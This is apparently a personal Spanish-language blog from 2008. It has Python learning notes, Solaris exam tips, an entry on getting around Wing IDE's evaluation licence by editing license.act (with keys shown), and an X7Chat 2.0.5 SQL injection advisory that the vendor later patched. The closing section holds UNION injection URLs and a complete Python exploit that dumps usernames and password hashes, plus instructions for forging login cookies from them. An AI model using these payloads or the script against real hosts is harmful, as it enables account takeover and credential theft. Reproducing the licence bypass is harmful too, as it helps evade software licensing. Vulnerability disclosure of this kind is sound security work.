-rw-r--r-- 1 nando nando 83 2008-02-10 00:33 recent-files
-rw-r--r-- 1 nando nando 39 2008-02-10 00:34 recent-projects
-rw-r--r-- 1 nando nando 56 2008-02-10 00:33 recent-visits
-rw-r--r-- 1 nando nando 33 2008-02-10 00:33 registers
drwxr-xr-x 2 nando nando 48 2008-01-17 17:57 scripts
drwxr-xr-x 2 nando nando 48 2008-01-17 17:57 templates
-rw-r--r-- 1 nando nando 272 2008-01-17 18:22 unseen-wing-tips
-rw------- 1 nando nando 22 2008-01-17 17:57 wingdebugpw
nando@debian:~$
}}}

nota1:
casi siempre lo que tiene menos permisos es lo que llama mas la atencion.

nota2:
observe los
"license.pending", cada archivo le indica al wing cuantas veces ha hecho la renovacion de la licencia, que pasa si borramos uno?
jeje

{{{
nando@debian:~/.wingide3$ cat license.act

restrictions = 'Evaluation use only'
product = 'wingide'
license = 'TNX3L-M7JVE-4QLN9-7MRFG'
hostinfo = "4y_S&uC&[xyesOE\x0dAj5]FSBs'}]BVpJ|2LbA\x0cDs%cK[,!]_Htb(uY\\\nK"\
"Ma\"Q=4yAz]W)>MJ{l(a9aAPGBCbG[DP[\x0czM$Ent/NMzaz\\>7;[\txUGU
"9qF'!QLz/${@{5FdNJv(b!Uxx[8\n3V'%6a-{PY\"Oh\"@sRZ7o':ba-sR\x0bZH"\
"o/}xY\x0clj%\nVFm4T5G1]~gh*
"L4:\"J\\=!D{JyK\n5T>\nx1>}g`,t0J}"
activation = 'AXX1R-PYC9J-WMWTK-KXV9R'
termdays = 11
customerdata = ''
version = '3.*'
date = '01/17/08'
os = 'linux'
usercount = 1
nando@debian:~/.wingide3$
}}}

lo que nos lleva a pensar que podemos modificar por ejemplo la fecha o los dias de activacion o lo que queramos, pero no funciona, no con todo.

para terminar este largo cuento lo que hice fue cambiar la variable license=""
y listo, esa ventana ya no se volvio a abrir, ni a reclamar seriales, ni a pedir updates, ni a nada, no se lo que paso, no es opensource.

El software es bueno, si fuera desarrollador podria llegar a comprarlo.

notes about SCNA exam

''' ENERO 16 '''

Fuera de la lectura recomendada de los dos volumenes para el examen ''Solaris Certified Network Administrator'', recomiendo buscar el testking de Actual-Noseque y ademas de eso, concentrarse en estas preguntas, que fueron de las mas dificiles.

  • * Encapsulado IPV4, IPV6 (como se encapsula y desencapsula en tuneles)
  • * Encapsulado en Ethernet II, osea como son las tramas con cada uno de los campos
  • * Preguntas relacionadas con distancias y fibras opticas, LX, SX, CX ?
  • *Varias preguntas relacionadas con DHCP SERVER, recuerde que la parte gráfica no importa, concentrese en los comandos
  • por ejemplo el comando ''pntdm''. Como se agregan redes, como se cambian tablas y etc.
  • * Reglas de IPFILTER (aproximadamente 10 preguntas), mucho cuidado, 10 preguntas es para uno perder el examen.
  • Tenga en cuenta las reglas que añaden el ''quick'' y el orden de las reglas, todas las preguntas tienen trampillas.

Y no es mas, mucha concentración, lean bien las preguntas, lean TODAS las respuestas antes de contestar y buena suerte!!!

playing with HTMLParser and SGLMParser

----------------------
----------------------

''' ENERO 15/16 '''

Y no parsing, muy complicado, jajaja

{{{
#import HTMLParser
from sgmllib import SGMLParser

html=open('index.html','r')
abrir=html.read()
...
}}}

Lo pienso usar para un proyecto que tengo, pero todavia me toca leer mucho, jajaja, Quien me enseña a programar en pythooooonnnnnnn????????

Tambien estuve jugando un poco con el WING y el ERIC, me ayudaron a resolver unos problemas mediante el debuggin, fácil, puro F6, F7, F8, esto me recuerda muchas cosas, jajaja, un ENTER mas para obtener un EAX mas.

Pd:
me parecio que hay poca doc oficial sobre estos temas :s, faltan mas ejemplos!!!!

Pd:
ya se, ya se, si no estan los ejemplos, que espero para hacerlos :p, bueno asi es la vida.

''' ENERO 16 '''

Me aburrí con esos parceros (parsers), jaja, busque otra forma de hacer el match que queria y fue bastante simple.
un split, jeje sobre todo un string, eso me daba para generar los bloques.

Explico mi problema y lo que llevo de codigo:

''
En OpenBSD el sistema de traduccion de documentación es como en casi todos los BSD, no usan archivos .po o algo parecido, lo que hacen es coordinar a traves del CVS los cambios de los archivos. Todo el mundo debe tener como referencia los archivos maestros, que son los cambios que se hacen en el CVS oficial. Luego esos archivos se bajan a otro servidor de traducciones y ahi empieza el problema.

Las personas que se encargan de traducir en los diferentes idiomas, lo que hacen es mirar las fuentes en ingles (EN) y verificar cuales han sido los cambios y entonces hacer los respectivos cambios en los archivos de la lengua traducida.
Basicamente hay que estar mirando los cambios que ocurren en una (diff) y traducir esos cambios en la otra (i.e ES).

Bueno, entonces que es lo que quiero hacer?, quiero montar una aplicacion en web, que permita a varios usuarios acceder a los diferentes archivos que se deben traducir y que cada uno pueda elegir "bloques" de cada archivo y hacer la respectiva traduccion.
de esta forma muchas personas podrian trabajar sincronizadamente, algo que no se hace actualmente.

El software deberia:

*Encargarse del manejo interno de CVS (update, commits)

*Presentarle los "bloques de texto" de la manera mas simple posible, ojala con resaltado de texto, indicando donde estan los cambios, permitiendo que el proceso de traduccion sea inmediato. Una vez traducido, debe llevar estos bloques a un archivo comun, hasta que el archivo completo este listo y se pueda hacer commit del mismo.

*Chequear constantemente (dia/semana), los cambios en las fuentes en ingles e informar de los archivos que se requieren actualizar.

*Etc.

Como ven, no es un problema fácil de resolver y como llevo 2 días aprendiendo python, quize aprender trabajando en este "proyecto".

La idea de "bloques" la estoy haciendo separando el archivo .html en strings separados por los tags ''

''. Parece algo tonto, pero me parece que es viable. Luego intento organizar los bloques y puedo manipularlos individualmente y luego construir el archivo con los bloques ordenados."

CUALQUIER AYUDA, IDEAS, COMENTARIOS, me sirven, aún no tengo muy claro como hacer todo eso ...

Aqui dejo lo que llevo de código. proximamente organizo un CVS para trabajarlo desde ahí.

Hasta ahora lo que he logrado es que se guarden los bloques, que se guarde una "base de datos" con la informacion del orden de los bloques y los MD5 para luego chequear si hay cambios en ellos y logre hacer la comparacion entre dos bloques...

{{{
root@debian:/home/nando/python/open# cat parser.py
#!/usr/bin/env python
#Basicas y MD5
import string,sys,md5
#Libreria para hacer el pickle
import pickle, string
#Libreria para hacer el diff de los bloques
from difflib import unified_diff

#Funcion que almacena el archivo .html en un .dat como diccionario [MD5,'TEXTOBLOQUE'] y ademas genera los bloques .txt

#Funcion que lee los archivo .txt (los bloques) y devuelve el archivo en memoria
def lee_bloques(archivo):
bloque=1
abierto=""
while True:
try:
file=open((archivo+"-"+"[porciento]d.txt" % bloque),'r')
abierto=abierto+file.read()
bloque=bloque+1
except IOError:
break
return abierto

#Funcion que lee el archivo en .DAT (pickle) y regresa la estructura de MD5,TEXTO
def lee_dat(archivo):
filedat= open(archivo+".dat","r")
db=""
db=pickle.load(filedat)
return db

#Funcion que lee un archivo y crea en memoria el diccionario, devuelve el texto parseado y el diccionario
def lee_archivo(archivo):
losp=parsea_archivo(archivo)
bloques=[]
indices=[]
#Crear diccionario del archivo: archivo, ahora puedo usar como keys, los MD5.
#SOn dos diccionarios, indices, tiene los numeros de bloques (1,2,3...) enlazados a los MD5
#y diccionario tiene los MD5 enlazados a los textos, esto para darle orden en la lectura con el pickle
#diccionario=dict([(md5.new(i).hexdigest(), i) for i in losp])
#indices=dict([(h,md5.new(losp[h]).hexdigest()) for h in range(long) ])
for i in range(len(losp)):
bloques.append(losp[i])
indices.append(md5.new(losp[i]).hexdigest())
bd=[indices,bloques]
return bd


#Funcion que graba los bloques, de memoria a archivos de texto .txt
def graba_bloques(archivo):
bloque=1
for i in parsea_archivo(archivo):
file=open((archivo+"-"+"[porciento]d.txt" % bloque),'w')
file.write(i);
file.close
bloque=bloque+1
return 0

#Funcion que graba el archivo .dat (pickle), basandose en un diccionario y nombre de archivo
def graba_dat(archivo,bd):
filedat= open(archivo+".dat","w")
pickle.dump(bd, filedat)
return 0

def parsea_archivo(archivo):
html=open(archivo,'r')
abrir=html.read()
losp=abrir.split("

")
return losp

#Funcion que me permite mirar los cambios de los bloques de un archivo nuevo, con uno almacenado en DAT, osea la referencia
def cambios(archivo,ref):
bd=lee_archivo(archivo)
bdref=lee_dat(ref)
indices=bd[0]
datos=bd[1]
indices_ref=bdref[0]
datos_ref=bdref[1]
if bd==bdref:
print "El archivo no ha cambiado"
else:
for i in range(len(indices)):
if indices[i]!=indices_ref[i]:
print "El bloque ",i,"cambio!"
print "\n"
print "###########################################################"
for line in unified_diff(datos_ref[i].split(),datos[i].split()):
print line


#datos[i], datos_ref[i]
archivo="index.html"
archivo2="index2.html"
graba_dat(archivo,lee_archivo(archivo))
graba_bloques(archivo)
cambios(archivo2,archivo)

}}}
----------------------
----------------------

pythonchallenge


''' ENERO 13'''

No se programar, no se nada de python pero ahi voy en el 5to nivel, tratando de aprender un poco de python y enviciandome de nuevo.
Espero hacer unos 15 o 20 niveles y me acuesto :p

Luego les cuento ...

aqui voy:
http://www.pythonchallenge.com/pc/def/peak.html

http://www.pythonchallenge.com/forums/viewtopic.php?t=8


''' ENERO 14 '''

Bueno ya pase el 5 y el 6, voy a poner mi codigo del 6 porque me quedo bonito pa no saber manejar archvios .zip en python.
Estoy en aprendizaje:

http://www.pythonchallenge.com/pc/def/channel.html

codigo para pasar el nivel 6:

{{{
import zipfile,re,sys
archivo="90052"
file = zipfile.ZipFile("./channel.zip", "r")
comentarios=[]
numero=re.compile("(\d+)").findall
while True:
try:
s=file.read(archivo+".txt")
a=numero(s)
archivo=a[0]
comentarios.append(archivo)
except IndexError:
for name in comentarios:
print file.getinfo(name+".txt").comment,
sys.exit()
}}}

Y salida en pantalla, toma exactamente los comentarios que existen, todo gracias al Try/except

{{{
nando@debian:~/python/retos/channel$ python seis.py
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
* * * *
* * O O O O X X Y Y Y Y G G G G E E E E E E N N N N * *
* * O O O O X X X X X X Y Y Y Y Y Y G G G G E E E E E E N N N N * *
* * O O O O X X X X X X Y Y Y Y Y G G G G E E N N N N * *
* * O O O O O O O O X X X X Y Y G G G E E E E E N N N N * *
* * O O O O O O O O X X X X Y Y G G G E E E E E N N * *
* * O O O O X X X X X X Y Y Y Y Y G G G G E E N N * *
* * O O O O X X X X X X Y Y Y Y Y Y G G G G E E E E E E N N * *
* * O O O O X X Y Y Y Y G G G G E E E E E E N N * *
* * * *
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
nando@debian:~/python/retos/channel$
}}}

Si alguien encuentra una mejor forma de hacerlo, me dice:
basicamente lo que hay que hacer es buscar en un archivo un numero que significa el nombre de otro archivo, luego abrir ese y asi sucesivamente, pero al tiempo ir organizandolos para luego sacarle a todos esos archivos los comentarios. la cuestion es que los archivos estan en un .zip, por eso hay que usar el modulo para manejo de archivos .zip de python.
sigo aqui ...

Como me gusto tambien el nivel 7, lo pongo aqui, jeje

Codigo nivel 7:

{{{import Image
im = Image.open("oxygen.png")
print "La imagen es de: ", im.size

#Busque pixeles por toda la imagen en orden, hasta que alguno sea grisaseo, cuando esto pase, imprimalo como caracter
#Se asume que el mensaje es la franja gris :)

for x in range(0,im.size[0],7):
for y in range(0,im.size[1],7):
pixel=im.getpixel((x,y))
if pixel[2]==pixel[1]==pixel[0]:
print chr(pixel[0]),

#Luego de ver el resultado, tomamos los numeros que nos dan y los imprimimos como caracteres
print "\n"
print "La respuesta al proximo nivel es: ",
mensaje=[105,110,116,101,103,114,105,116,121]
for i in range(len(mensaje)):
print chr(mensaje[i]),

print "\n"
}}}

y asi se ve:

{{{nando@debian:~/python/retos$ python siete7.py
La imagen es de: (629, 95)
s m � � a � � r t g u y , y o u m a d e i t . t h e n e x t l e v e l i s [ 1 0 5 , 1 1 0 , 1 1 6 , 1 0 1 , 1 0 3 , 1 1 4 , 1 0 5 , 1 1 6 , 1 2 1 ]

La respuesta al proximo nivel es: i n t e g r i t y

nando@debian:~/python/retos$
}}}

Resulto muy interesante este nivel, habia que dedicarle tiempo para pensar como encontrar una franja gris en una imagen de color, la respuesta es cuando
R,G,B estan en iguales cantidades ;)

''' ENERO 15 ''', son las 00:15

Llegue como hasta el nivel 11 de los retos de python, ya se estaban enfocando mucho en los modulos de imagenes y parecidos y no me llama tanto la atencion
Sin embargo aprendi unas cuantas cositas ;)

Lo que sigue es continuar aprendiendo de a poquitos y usandolo donde lo requiera.

La invitacion va para los que que quieran aprender un poco de python, no hay mejor forma de aprender que jugando ''wargames''.
ahí les dejo la duda: http://www.pythonchallenge.com/

------------------------------
------------------------------

bug and exploit in X7Chat v 2.0.5

''ENERO 11-12 DE 2008''

Estuve auditando el software, aprendiendo de como esta escrito el codigo, en verdad que ha mejorado mucho desde las primeras versiones.
Intente lo de siempre, ir por el frente y tratar de loguearme como administrador sin tener la contraseña, algo que parece complicado pero muchas veces no
lo es, pero desafortunadamente no me inspiré...

Pero el segundo día fue diferente, se me ocurrio buscar por otro lado, examinar otras posibilidades y voila!, lo inexperadp (o lo esperado?)
Aqui esta la primicia:

{{{
************************************************************************
************************************************************************

Software: X7 Chat 2.0.5 (x7chat.com)

Author: A nonroot user

Vuln Type: SQL injection

Date:

debian:/var/www/xchat/sources# date -u
sáb ene 12 21:21:23 UTC 2008

X7 Group was informed

************************************************************************
************************************************************************


There are an issue in line 72 of /sources/info_box.php

...

69 $body = "";
70 $mini = $_GET['day'];
71 $maxi = $_GET['day']+86400;
72 $query = $db->DoQuery("SELECT * FROM {$prefix}events WHERE timestamp>$mini AND timestamp<$maxi");
73 while($row = $db->Do_Fetch_Row($query)){
74 $body .= "".date($x7c->settings['date_format_full'],$row[1]).": $row[2]

";

75 }
76

...

if the "day" variable is replaced by a SQL injection query, a possible attacker could view the password hash of the mysql table.
Examples:

Got the users: http://vulnhost/xchat_soft/index.php?act=sm_window&page=event&day=1%20UNION%20select%20username,id,username%20from%20x7chat2_us$
Got the hashs: http://vulnhost/xchat_soft/index.php?act=sm_window&page=event&day=1%20UNION%20select%20username,id,password%20from%20x7chat2_u$

Then you can use username and hash passwords in order to login into the X7CHAT, just create 2 cookies:

X7C2U=username
X7C2P=passowrd hash

Who wants to be?


Greetings:

to * AT colombia


************************************************************************
************************************************************************
}}}

Le falta una parte porque mi pantalla no da para mas caracteres, pero el anuncio se publicara cuando alguien lo confirme del equipo X7.

Bueno creo que ya cambio de actividad.

bye.

Respuesta:
{{{
Hello,
Thank you, the vulnerability has been confirmed. A fix is
available here: http://x7chat.com/support_forum/index.php?topic=3287.0
Version 2.0.5.1 has replaced 2.0.5 on the download page, this updated
version contains the fix as well.

Thanks,
Tim
}}}

''' ENERO 14 '''

Como estoy aprendiendo un poco de python, entonces intente codear el exploit en python, aqui esta el resultado, ya lo probe y si funciona.
Mejores maneras de hacerlo (coding) bienvenidas

{{{
nando@debian:~$ cat xchat_exploit.py
#!/usr/bin/python
#
#Exploit for xchat 2.0.5
#Saca los usuarios y los hash
#By nonroot - 2008
#it's a PoC, please use responsibly
#
import string,urllib
import sys,re
print "Target host: i.e: http://127.0.0.1/x7chat/"
host=raw_input("Target host ( include http and /): ")
print "Output file: i.e: salida.txt"
out_file=raw_input("Output file: ")
print "trying ..."
SQL_users="1%20UNION%20select%20username,id,username%20from%20x7chat2_users%20--"
SQL_hashs="1%20UNION%20select%20username,id,password%20from%20x7chat2_users%20--"
link_attack=host+"index.php?act=sm_window&page=event&day="
response = urllib.urlopen(link_attack + SQL_users).read()
findall_users=re.compile("(\w+)

").findall

found_users=findall_users(response)
if len(found_users)==0:print "Sorry, exploit failed, please review the SQL string and try to change something like tables or wathever"
print "Or, there are not users, or x7chat software is version >= 2.0.5.1, so sorry. try to find a new bug ;)"
sys.exit()
#Find the hashs
response = urllib.urlopen(link_attack + SQL_hashs).read()
findall_hashs=re.compile("(\w+)

").findall

found_hashs=findall_hashs(response)
if len(found_hashs)==0:
print "Sorry, exploit failed, please review the SQL string and try to change something like tables or wathever"
print "Or, there are not hashs, or x7chat software is version >= 2.0.5.1, so sorry. try to find a new bug ;)"
sys.exit()
#Save all this at file
file = open(out_file, "w")
file.write("*********************************************************************\n")
file.write("\n")
file.write("HOST:")
file.write(" ")
file.write(host)
file.write("\n")
file.write("\n")
file.write("USER HASH\n")
file.write("possible admin user: ")
file.write(found_users[0])
file.write(" ")
file.write(found_hashs[0])
file.write("\n")
for i in range(len(found_users)):
file.write(found_users[i])
file.write(" ")
file.write(found_hashs[i])
file.write("\n")
file.write("\n")
file.write("*********************************************************************\n")
file.close()
print "Successfull, please review the ",out_file," file."
}}}

get the code at: http://www.milw0rm.com/exploits/4907
------------------------------------
------------------------------------

Entradas populares